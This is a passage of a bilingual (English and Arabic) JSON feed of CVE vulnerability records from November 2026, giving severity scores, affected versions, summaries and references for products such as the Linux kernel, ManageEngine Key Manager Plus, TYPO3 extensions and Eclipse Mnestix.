الويب."},"refs":[["https://www.nagios.com/security-disclosures/nagios-xi/2026r2/","patch"],["https://www.vulncheck.com/advisories/nagios-xi-2026r2-os-command-injection-via-mibs-php","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"nagios-enterprises-llc-nagios-xi"},{"id":"CVE-2026-108047","cvss":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-285","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T13:17:17Z","product":"AM System ALO Suite","affected":[["25_09_15.03_35",null]],"title":{"en":"Inadequate authorization vulnerability in Alosuite’s user invitation functionality","ar":"ثغرة تفويض غير كافية في وظيفة دعوة المستخدمين في Alosuite"},"summary":{"en":"Inadequate authorization vulnerability in Alosuite’s user invitation functionality. The ‘/Requests/userInvitation’ endpoint does not properly validate the assignment of privileges on the server, allowing an attacker to manipulate the invitation parameters during the request process. By intercepting and modifying a legitimate invitation request, an unauthenticated attacker can assign administrative privileges to a newly invited user without the appropriate authorization checks. A successful exploit results in unauthorized privilege escalation, granting full administrative access to the affected application.","ar":"ثغرة تفويض غير كافية في وظيفة دعوة المستخدمين في Alosuite. نقطة النهاية '/Requests/userInvitation' لا تتحقق بشكل صحيح من تعيين الصلاحيات على الخادم، مما يسمح للمهاجم بالتلاعب بمعلمات الدعوة أثناء عملية الطلب. من خلال اعتراض طلب دعوة شرعي وتعديله، يمكن لمهاجم دون مصادقة تعيين صلاحيات إدارية لمستخدم مدعو حديثًا دون عمليات التحقق المناسبة من التفويض. يؤدي استغلال الثغرة بنجاح إلى تصعيد الصلاحيات بشكل غير مصرح به، مما يمنح وصولاً إداريًا كاملاً إلى التطبيق المتأثر."},"refs":[["https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-am-systems-alo-suite","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"am-system-alo-suite"},{"id":"CVE-2026-121458","cvss":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T12:59:17Z","product":"CoreBunch Instatic","affected":[["0.0.12 – <0.0.21","0.0.21"]],"title":{"en":"Instatic before 0.0.21 Authorization Bypass via MCP Content Read Tools","ar":"تجاوز المصادقة في Instatic قبل الإصدار 0.0.21 عبر أدوات قراءة محتوى MCP"},"summary":{"en":"Instatic before 0.0.21 contains a missing authorization vulnerability in its AI/MCP content read tools that allows low-privileged authenticated users with ai.chat and content.edit.own capabilities to access data rows belonging to other users by calling content_get_document and content_list_documents without the object-level authorization checks enforced by the normal HTTP API. Attackers can use the MCP interface to retrieve private or unpublished draft content and enumerate rows from the posts system table, resulting in cross-user data disclosure.","ar":"يحتوي Instatic قبل الإصدار 0.0.21 على ثغرة غياب المصادقة في أدوات قراءة محتوى AI/MCP الخاصة به، مما يسمح للمستخدمين ذوي الصلاحيات المنخفضة والذين يملكون صلاحيات ai.chat وcontent.edit.own بالوصول إلى صفوف البيانات الخاصة بمستخدمين آخرين عن طريق استدعاء content_get_document وcontent_list_documents دون عمليات التحقق من المصادقة على مستوى الكائن التي تُفرض بواسطة واجهة برمجة التطبيقات HTTP العادية. يمكن للمهاجمين استخدام واجهة MCP لاستجماع محتوى المسودات الخاصة أو غير المنشورة وتعداد الصفوف من جدول نظام المنشورات، مما يؤدي إلى كشف البيانات عبر المستخدمين."},"refs":[["https://github.com/CoreBunch/Instatic/releases/tag/v0.0.21","patch"],["https://github.com/CoreBunch/Instatic/security/advisories/GHSA-x5cc-8486-8qqx","advisory"],["https://www.vulncheck.com/advisories/instatic-before-authorization-bypass-via-mcp-content-read-tools","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"corebunch-instatic"},{"id":"CVE-2026-99270","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T12:32:09Z","product":"Linux Linux","affected":[["4.1.11 – <4.2","4.2"]],"title":{"en":"tcp: Fix potential UAF in reqsk_timer_handler().","ar":"ثغرة عالية الخطورة في Linux Linux"},"summary":{"en":"In the Linux kernel, the following vulnerability has been resolved: tcp: Fix potential UAF in reqsk_timer_handler(). When TCP socket migration fails at inet_ehash_insert() in reqsk_timer_handler(), we jump to the no_ownership: label and free the new reqsk immediately with __reqsk_free(). Thus, we must stop the new reqsk's timer before jumping to the label, but the timer might be missed since the cited commit, resulting in UAF. As we are in the original reqsk's timer context, we can safely call timer_delete_sync() for the new reqsk. Let's pass false to __inet_csk_reqsk_queue_drop() to stop the new reqsk's timer.","ar":"In the Linux kernel, the following vulnerability has been resolved: tcp: Fix potential UAF in reqsk_timer_handler(). When TCP socket migration fails at inet_ehash_insert() in reqsk_timer_handler(), we jump to the no_ownership: label and free the new reqsk immediately with __reqsk_free(). Thus, we must stop the new reqsk's timer before jumping to the label, but the timer might be missed since the cited commit, resulting in UAF. As we are in the original reqsk's timer context, we can safely call timer_delete_sync() for the new reqsk. Let's pass false to __inet_csk_reqsk_queue_drop() to stop the new reqsk's timer."},"refs":[["https://git.kernel.org/stable/c/97c8a3c1f73d828de43a5a88e8a9a143efb2b661","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"linux-kernel"},{"id":"CVE-2026-76124","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-434","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T12:31:54Z","product":"BuddyBoss BuddyBoss App","affected":[["0 – 3.2.1",null]],"title":{"en":"BuddyBoss App <= 3.2.1 - Authenticated (Subscriber+) Arbitrary File Upload via Feedback Endpoint","ar":"إضافة BuddyBoss App الإصدار 3.2.1 أو الأقدم - رفع ملفات عشوائية بصلاحيات مصادقة (مشترك فما فوق) عبر نقطة نهاية الملاحظات"},"summary":{"en":"The BuddyBoss App plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 3.2.1 via the send_feedback function. This is due to insufficient file type validation that relies solely on the client-supplied Content-Type header without server-side content inspection or extension validation. This makes it possible for authenticated attackers, with subscriber-level access and above, to upload files that may be executable, which makes remote code execution possible. While uploaded files are deleted after email transmission, a race condition exists during SMTP execution that allows access to the file, and files persist indefinitely when wp_mail() fails.","ar":"إضافة BuddyBoss App لنظام WordPress مصابة بثغرة رفع ملفات عشوائية في جميع الإصدارات حتى 3.2.1 ضمناً عبر دالة send_feedback. يرجع ذلك إلى عدم كفاية التحقق من نوع الملف والذي يعتمد فقط على ترويسة Content-Type المقدمة من العميل دون فحص محتوى جانب الخادم أو التحقق من الامتداد. يجعل هذا الأمر ممكناً للمهاجمين الذين يملكون حسابًا مصادقًا عليه، بصلاحيات مستوى المشترك فما فوق، برفع ملفات قد تكون قابلة للتنفيذ، مما يتيح تنفيذ أوامر عن بُعد. وفي حين يتم حذف الملفات المرفوعة بعد إرسال البريد الإلكتروني، توجد حالة تسابق أثناء تنفيذ بروتوكول SMTP تتيح الوصول إلى الملف، وتستمر الملفات إلى أجل غير مسمى عند فشل دالة wp_mail()."},"refs":[["https://www.wordfence.com/threat-intel/vulnerabilities/id/56a1219c-1163-4867-b426-7ffe9ca5dcb5?source=cve","ref"],["https://buddyboss.com/resources/buddyboss-app-plugin-releases/3-2-2/","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"buddyboss-app"},{"id":"CVE-2026-99269","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T11:48:18Z","product":"Linux Linux","affected":[["7.1",null]],"title":{"en":"sched_ext: Wait for SCX_OPSS_DISPATCHING before moving tasks off DSQs","ar":"ثغرة عالية الخطورة في Linux Linux"},"summary":{"en":"In the Linux kernel, the following vulnerability has been resolved: sched_ext: Wait for SCX_OPSS_DISPATCHING before moving tasks off DSQs A task can be found on a non-local DSQ while the CPU which dispatched it is still running ops.dequeue() and hasn't cleared SCX_OPSS_DISPATCHING. The DSQ consume and move paths don't wait for the dispatch to finish and can operate on the task concurrently with the dispatcher. Call scx_wait_dispatching() in scx_move_local_task_to_local_dsq(), unlink_dsq_and_switch_rq_lock() and move_task_between_dsqs() before they operate on the task. In scx_move_local_task_to_local_dsq(), wait before scx_resolve_local_dsq() as it may update p->scx.flags.","ar":"In the Linux kernel, the following vulnerability has been resolved: sched_ext: Wait for SCX_OPSS_DISPATCHING before moving tasks off DSQs A task can be found on a non-local DSQ while the CPU which dispatched it is still running ops.dequeue() and hasn't cleared SCX_OPSS_DISPATCHING. The DSQ consume and move paths don't wait for the dispatch to finish and can operate on the task concurrently with the dispatcher. Call scx_wait_dispatching() in scx_move_local_task_to_local_dsq(), unlink_dsq_and_switch_rq_lock() and move_task_between_dsqs() before they operate on the task. In scx_move_local_task_to_local_dsq(), wait before scx_resolve_local_dsq() as it may update p->scx.flags."},"refs":[["https://git.kernel.org/stable/c/cc2839946328c1618b3870d521b32bb9483d49d0","ref"],["https://git.kernel.org/stable/c/2935062be77113c1c4565ca9d0c72180449aafee","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"linux-kernel"},{"id":"CVE-2026-99264","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T11:48:16Z","product":"Linux Linux","affected":[["6.12.44 – <6.12.115","6.12.115"],["6.6.103 – <6.7","6.7"],["6.15.11 – <6.16","6.16"],["6.16.2 – <6.17","6.17"]],"title":{"en":"io_uring/net: don't retry recv on uncommitted buffers","ar":"io_uring/net: لا تقم بإعادة محاولة الاستلام (recv) على المخازن المؤقتة غير الملتزمة"},"summary":{"en":"In the Linux kernel, the following vulnerability has been resolved: io_uring/net: don't retry recv on uncommitted buffers Commit 41b70df5b38b (\"io_uring/net: commit partial buffers on retry\") commits ring provided buffers when a receive is going to be retried after a partial transfer, so that another request using the same buffer group can't be handed the memory the first one keeps receiving into. It commits the number of bytes received so far. That does the job for a single buffer which is consumed as a whole, but the request hangs on to all it has mapped: - For a buffer ring with IOU_PBUF_RING_INC only these bytes are consumed. The rest of the buffer stays at the head of the ring. - For a bundle only the buffers which hold these bytes are consumed, the others that were peeked stay in the ring. In both cases the next receive with that buffer group gets memory that the retried request is still going to write to, and whoever comes last overwrites the data of the other. What the retry fills isn't committed at all, as the buffer list isn't known any more at that point. So the kernel hands it out again later on, while the CQE tells the application that it was used, and for an incremental buffer that it is done with. The remainder can't be committed in advance: if the request ends up receiving less, there is no way to tell the application that more was consumed than the CQE accounts for. Complete the request with what it has got instead of retrying it. MSG_WAITALL is no longer honoured for receives into incremental buffers or multi buffer bundles, they can return a short count, with the request marked as failed like for other short MSG_WAITALL transfers.","ar":"في نواة Linux، تم حل الثغرة التالية: io_uring/net: لا تقم بإعادة محاولة الاستلام (recv) على المخازن المؤقتة غير الملتزمة. يلتزم الالتزام 41b70df5b38b بالمخازن المؤقتة التي توفرها الحلقة عندما يتم إعادة محاولة عملية الاستلام بعد نقل جزئي، بحيث لا يمكن تسليم الذاكرة التي يستمر الأول في الاستلام فيها إلى طلب آخر يستخدم نفس مجموعة المخازن المؤقتة. وهو يلتزم بعدد البايتس المستلمة حتى الآن. هذا يؤدي الغرض بالنسبة لمخزن مؤقت واحد يتم استهلاكه بالكامل، لكن الطلب يتمسك بكل ما تم تعيينه: - بالنسبة لحلقة المخازن المؤقتة التي تحتوي على IOU_PBUF_RING_INC، يتم استهلاك هذه البايتس فقط. وبقية المخزن المؤقت تبقى في رأس الحلقة. - بالنسبة لحزمة (bundle), يتم استهلاك المخازن المؤقتة التي تحتوي على هذه البايتس فقط، بينما تظل البقية التي تم استطلاعها في الحلقة. في كلا الحالتين، يحصل الاستلام التالي مع مجموعة المخازن المؤقتة تلك على الذاكرة التي لا يزال الطلب الذي أعيدت محاولته يكتب فيها، ومن يأتي أخيراً يكتب فوق بيانات الآخر. ما تملؤه عملية إعادة المحاولة لا يلتزم على الإطلاق، حيث لم تعد قائمة المخازن المؤقتة معروفة في تلك النقطة مرة أخرى. لذا تقوم النواة بتوزيعها مرة أخرى لاحقاً، بينما يخبر CQE التطبيق أنه تم استخدامها، وبالنسبة للمخزن المؤقت التزايدي أنه قد تم الانتهاء منه. لا يمكن الالتزام بالجزء المتبقي مقدماً: إذا انتهى الطلب بتلقي كمية أقل، فلا توجد طريقة لإخبار التطبيق بأنه تم استهلاك أكثر مما يوضحه CQE. قم بإكمال الطلب بما حصل عليه بدلاً من إعادة محالتها. لم يعد يتم تكريم MSG_WAITALL لعمليات الاستلام في المخازن المؤقتة التزايدية أو حزم المخازن المؤقتة المتعددة، ويمكنها إرجاع عدد قصير، مع وضع علامة على الطلب بأنه فاشل كما هو الحال بالنسبة لعمليات النقل الأخرى قصيرة الحجم لـ MSG_WAITALL."},"refs":[["https://git.kernel.org/stable/c/21cb1770a56a51266ab96d4ed2a3b6979db59694","ref"],["https://git.kernel.org/stable/c/fc8506eea4498ecba26ef8bf6dbbd74af3dc891d","ref"],["https://git.kernel.org/stable/c/97b8dc36ba3cb176b74a7929140aeaeb40d5cdc0","ref"],["https://git.kernel.org/stable/c/8444de681a179e41a4eb92d5bbe770a0677074a6","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"linux-kernel"},{"id":"CVE-2026-99246","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T11:18:25Z","product":"Linux Linux","affected":[["5.0",null]],"title":{"en":"tipc: protect node reset trace dump with node lock","ar":"tipc: حماية تفريغ تتبع إعادة تعيين العقدة باستخدام قفل العقدة"},"summary":{"en":"In the Linux kernel, the following vulnerability has been resolved: tipc: protect node reset trace dump with node lock The tipc_node_reset_links trace event asks tipc_node_dump() to walk the node's link entries. Unlike the other node events that request link data, this event runs without the node lock. This permits bearer teardown to free a link while the trace callback is dumping it: CPU 0 CPU 1 trace_tipc_node_reset_links() tipc_node_dump() l = n->links[0].link tipc_node_write_lock() kfree(l) n->links[0].link = NULL tipc_node_write_unlock() tipc_link_dump(l) tipc_link_dump() then dereferences the stale pointer. KASAN reported: BUG: KASAN: slab-use-after-free in tipc_link_dump Read of size 4 by task poc/115 Call Trace: tipc_link_dump+0x10cb/0x16b0 tipc_node_dump+0x4bb/0x740 trace_event_raw_event_tipc_node_class+0x258/0x360 tipc_node_reset_links+0x14d/0x1a0 tipc_rcv+0x13f5/0x3030 tipc_udp_recv+0x4e3/0x670 Allocated by task 0: tipc_link_create+0x1e1/0x1020 tipc_node_check_dest+0x7d2/0x11a0 tipc_disc_rcv+0xdbf/0x1430 Freed by task 89: kfree+0x131/0x3c0 tipc_node_link_down+0x267/0x4b0 tipc_node_delete_links+0xec/0x160 bearer_disable+0x107/0x260 Take the node write lock around the trace event. This serializes the dump against tipc_node_link_down(delete=true), which frees the link under the same write lock.","ar":"في نواة Linux، تم حل الثغرة التالية: tipc: حماية تفريغ تتبع إعادة تعيين العقدة باستخدام قفل العقدة. يطلب حدث التتبع tipc_node_reset_links من tipc_node_dump() المرور عبر إدخالات ارتباط العقدة. على عكس أحداث العقدة الأخرى التي تطلب بيانات الارتباط، يعمل هذا الحدث بدون قفل العقدة. هذا يسمح لعملية إيقاف الحامل (bearer teardown) بتحرير الارتباط بينما تقوم ردة اتصال التتبع بتفريغه: وحدة المعالجة المركزية 0 ووحدة المعالجة المركزية 1 trace_tipc_node_reset_links() tipc_node_dump() l = n->links[0].link tipc_node_write_lock() kfree(l) n->links[0].link = NULL tipc_node_write_unlock() tipc_link_dump(l). ثم يقوم tipc_link_dump() بإلغاء الإشارة إلى المؤشر القديم (stale pointer). وقد أبلغ KASAN عن: BUG: KASAN: slab-use-after-free في tipc_link_dump قراءة بحجم 4 بواسطة المهمة poc/115 مسار الاستدعاء: tipc_link_dump+0x10cb/0x16b0 tipc_node_dump+0x4bb/0x740 trace_event_raw_event_tipc_node_class+0x258/0x360 tipc_node_reset_links+0x14d/0x1a0 tipc_rcv+0x13f5/0x3030 tipc_udp_recv+0x4e3/0x670 تم تخصيصها بواسطة المهمة 0: tipc_link_create+0x1e1/0x1020 tipc_node_check_dest+0x7d2/0x11a0 tipc_disc_rcv+0xdbf/0x1430 تم تحريرها بواسطة المهمة 89: kfree+0x131/0x3c0 tipc_node_link_down+0x267/0x4b0 tipc_node_delete_links+0xec/0x160 bearer_disable+0x107/0x260. خذ قفل كتابة العقدة حول حدث التتبع. هذا يقوم بتسلسل التفريغ مقابل tipc_node_link_down(delete=true)، والذي يقوم بتحرير الارتباط تحت نفس قفل الكتابة."},"refs":[["https://git.kernel.org/stable/c/c8b72ca0918e95f708f67c8b3e69b05290f2b6d2","ref"],["https://git.kernel.org/stable/c/6e492cb98ca69cc1145175e23e22e3b84da7f26d","ref"],["https://git.kernel.org/stable/c/7bb6a35bd6d69019539d8782fb590fd2aa8a3236","ref"],["https://git.kernel.org/stable/c/6abd93d01b0f495f29201925a5ee8e6a583c4044","ref"],["https://git.kernel.org/stable/c/a6101d62ccfa153db8c218ce59362b8e0316fd4f","ref"],["https://git.kernel.org/stable/c/b8b7d28dc2b7472ffd1eff3954c38f1976b21a7b","ref"],["https://git.kernel.org/stable/c/fa8c78c0e49aa11fae116fd841e41aa8f2d68751","ref"],["https://git.kernel.org/stable/c/dddf197f29ba5e47a476dde82bf542ca2e0d5e5e","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"linux-kernel"},{"id":"CVE-2026-89292","cvss":9.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-522","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T10:17:20Z","product":"Eclipse Foundation Eclipse Mnestix","affected":[["1.6.0 – <2.3.0","2.3.0"]],"title":{"en":"Unauthenticated SSRF with MNESTIX_BACKEND_API_KEY disclosure in Eclipse Mnestix Browser server actions for configured Infrastructures","ar":"ثغرة تزوير الطلبات من جانب الخسرم (SSRF) دون مصادقة مع كشف مفتاح MNESTIX_BACKEND_API_KEY في إجراءات خادم Eclipse Mnestix Browser للبنى الأساسية المُكوّنة"},"summary":{"en":"In Eclipse Mnestix Browser versions 1.6.0 up until but excluding 2.3.0 it was possible for an unauthenticated attacker to exfiltrate the MNESTIX_BACKEND_API_KEY for all configured Infrastructures.","ar":"في إصدارات Eclipse Mnestix Browser من الإصدار 1.6.0 حتى الإصدار 2.3.0 (باستثنائه)، كان متاحاً لمهاجم دون مصادقة استخراج مفتاح MNESTIX_BACKEND_API_KEY لجميع البنى الأساسية المُكوّنة."},"refs":[["https://gitlab.eclipse.org/security/cve-assignment/-/work_items/302","ref"],["https://gitlab.eclipse.org/security/vulnerability-reports/-/work_items/773","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"eclipse-foundation-eclipse-mnestix"},{"id":"CVE-2026-77777","cvss":7.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N","cwe":"CWE-1220","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T10:17:19Z","product":"Zohocorp ManageEngine Key Manager Plus","affected":[["0 – <7151","7151"]],"title":{"en":"Improper access control vulnerability","ar":"ثغرة تحكم في الوصول غير السليم"},"summary":{"en":"ManageEngine Key Manager Plus versions before 7151 are vulnerable to an improper access control issue that allow authenticated users to modify another user's ACME certificate deployment credentials.","ar":"تكون إصدارات ManageEngine Key Manager Plus السابقة للإصدار 7151 عرضة لمشكلة تحكم في الوصول غير السليم تسمح للمستخدمين المصادق لهم بتعديل بيانات اعتماد نشر شهادة ACME لمستخدم آخر."},"refs":[["https://www.manageengine.com/key-manager/advisory/cve-2026-77777.html","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"zohocorp-manageengine-key-manager-plus"},{"id":"CVE-2026-120333","cvss":8.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-639","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T10:17:18Z","product":"TYPO3 Extension \"Frontend User Registration\"","affected":[["14.0.0 – <14.0.3","14.0.3"],["0 – <13.2.5","13.2.5"]],"title":{"en":"Broken Access Control in extension \"Frontend User Registration\" (sf_register)","ar":"تحكم معطل في الوصول في الامتداد \"Frontend User Registration\" (sf_register)"},"summary":{"en":"The actions linked in the emails of the extension (e.g. to confirm a registration or the deletion of an account) do not reject requests with a missing or invalid hash. Instead, the frontend user given in the request is used. Unauthenticated attackers can therefore perform these actions for arbitrary active frontend users. This allows them to retrieve the email address or username of all frontend users and to delete arbitrary frontend user accounts.","ar":"لا ترفض الإجراءات المرتبطة في رسائل البريد الإلكتروني للسلامة والامتداد (مثل تأكيد التسجيل أو حذف الحساب) الطلبات التي تحتوي على تجزئة مفقودة أو غير صالحة. بدلاً من ذلك، يتم استخدام مستخدم واجهة المستخدم الأمامية المذكور في الطلب. ونتيجة لذلك، يمكن لمهاجمين دون مصادقة تنفيذ هذه الإجراءات لمستخدمي واجهة المستخدم الأمامية النشطين العشوائيين. يتيح لهم ذلك استرداد عنوان البريد الإلكتروني أو اسم المستخدم لجميع مستخدمي واجهة المستخدم الأمامية وحذف حسابات مستخدمي واجهة المستخدم الأمامية العشوائية."},"refs":[["https://typo3.org/security/advisory/typo3-ext-sa-2026-038","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"typo3-extension-frontend-user-registration"},{"id":"CVE-2026-77691","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T10:17:18Z","product":"Zohocorp ManageEngine Key Manager Plus","affected":[["0 – <7151","7151"]],"title":{"en":"Command injection vulnerability","ar":"ثغرة حقن الأوامر"},"summary":{"en":"ZohoCorp ManageEngine Key Manager Plus versions before 7151 allow authenticated users to enter malicious input when configuring a Microsoft CA","ar":"تسمح إصدارات ZohoCorp ManageEngine Key Manager Plus السابقة للإصدار 7151 للمستخدمين المصادق لهم بإدخال مدخلات خبيثة عند تكوين Microsoft CA."},"refs":[["https://www.manageengine.com/key-manager/advisory/cve-2026-77691.html","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"zohocorp-manageengine-key-manager-plus"},{"id":"CVE-2026-120330","cvss":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T10:17:17Z","product":"TYPO3 Extension \"Mail\"","affected":[["4.0.0 – <4.2.0","4.2.0"],["0 – <3.12.5","3.12.5"]],"title":{"en":"Broken Access Control in extension \"Mail\" (mail)","ar":"تحكم معطل في الوصول في الامتداد \"Mail\" (mail)"},"summary":{"en":"Backend actions and ajax routes of the mail module do not check whether the backend user has access to the page of the requested mail or recipient group. Backend users with access to the mail module can view, change, send and export mails and recipient groups outside their web mounts, including the personal data of recipients.","ar":"لا تتحقق إجراءات الخلفية و مسارات ajax الخاصة بـ module البريد الإلكتروني مما إذا كان مستخدم الخلفية يمتلك صلاحية الوصول إلى صفحة البريد المطلوب أو مجموعة المستلمين. يمكن لمستخدمي الخلفية الذين يمتلكون صلاحية الوصول إلى module البريد الإلكتروني عرض رسائل البريد الإلكتروني ومجموعات المستلمين وتغييرها وإرسالها وتصديرها خارج نطاقات الويب الخاصة بهم، بما في ذلك البيانات الشخصية للمستلمين."},"refs":[["https://typo3.org/security/advisory/typo3-ext-sa-2026-037","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"typo3-extension-mail"},{"id":"CVE-2026-77778","cvss":7.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N","cwe":"CWE-1220","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T09:42:23Z","product":"Zohocorp ManageEngine Key Manager Plus","affected":[["0 – <7151","7151"]],"title":{"en":"Improper access control vulnerability","ar":"ثغرة تحكم في الوصول غير السليم"},"summary":{"en":"ZohoCorp ManageEngine Key Manager Plus versions up to 7150 allow authenticated users to export certificates belonging to other users to their own registered key vaults.","ar":"تسمح الإصدارات حتى 7150 من منتج ZohoCorp ManageEngine Key Manager Plus للمستخدمين الذين يملكون حسابًا مصادقًا عليه بتصدير الشهادات الخاصة بمستخدمين آخرين إلى خزائن مفاتيحهم المسجلة."},"refs":[["https://www.manageengine.com/key-manager/advisory/cve-2026-77778.html","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"zohocorp-manageengine-key-manager-plus"},{"id":"CVE-2026-89293","cvss":8.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T09:38:23Z","product":"Eclipse Foundation Eclipse Mnestix","affected":[["1.2.0 – <2.3.0","2.3.0"]],"title":{"en":"Missing server-side authorization in Eclipse Mnestix Browser admin server actions allows unauthenticated configuration tampering","ar":"غياب التفويض من جهة الخادم في إجراءات خادم المشرف لـ Eclipse Mnestix Browser يتيح العبث بالإعدادات دون مصادقة"},"summary":{"en":"In Eclipse Mnestix Browser versions 1.2.0 up until but excluding 2.3.0 it was possible for an unauthenticated attacker to perform actions that are only allowed to be executed by an authorized Mnestix user, like changing the Infrastructure settings or calling the connected and authenticated Mnestix AAS Generator backend.","ar":"في إصدارات Eclipse Mnestix Browser من 1.2.0 وحتى الإصدار 2.3.0 (باستثناءه)، كان متاحًا لمهاجم دون مصادقة تنفيذ إجراءات لا يُسمح بتنفيذها إلا بواسطة مستخدم Mnestix مفوض، مثل تغيير إعدادات البنية التحتية أو استدعاء الخلفية المتصلة والمصادق عليها لـ Mnestix AAS Generator."},"refs":[["https://gitlab.eclipse.org/security/vulnerability-reports/-/work_items/772","ref"],["https://gitlab.eclipse.org/security/cve-assignment/-/work_items/301","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"eclipse-foundation-eclipse-mnestix"},{"id":"CVE-2026-105982","cvss":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-77","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T09:00:05Z","product":"Welotec TK100","affected":[["0.0.0 – <3.5.116","3.5.116"],["0.0.0 – <1.0.124","1.0.124"],["0.0.0 – <1.0.123","1.0.123"]],"title":{"en":"Command Injection in IPsec VPN","ar":"حقن الأوامر في IPsec VPN"},"summary":{"en":"Improper input validation in the IPsec VPN function may allow a remote attacker with high privileges to inject system commands and execute them with root privileges.","ar":"قد يتيح التحقق غير السليم من المدخلات في وظيفة IPsec VPN لمهاجم عن بُعد يملك صلاحيات عالية حقن أوامر النظام وتنفيذها بصلاحيات الجذر 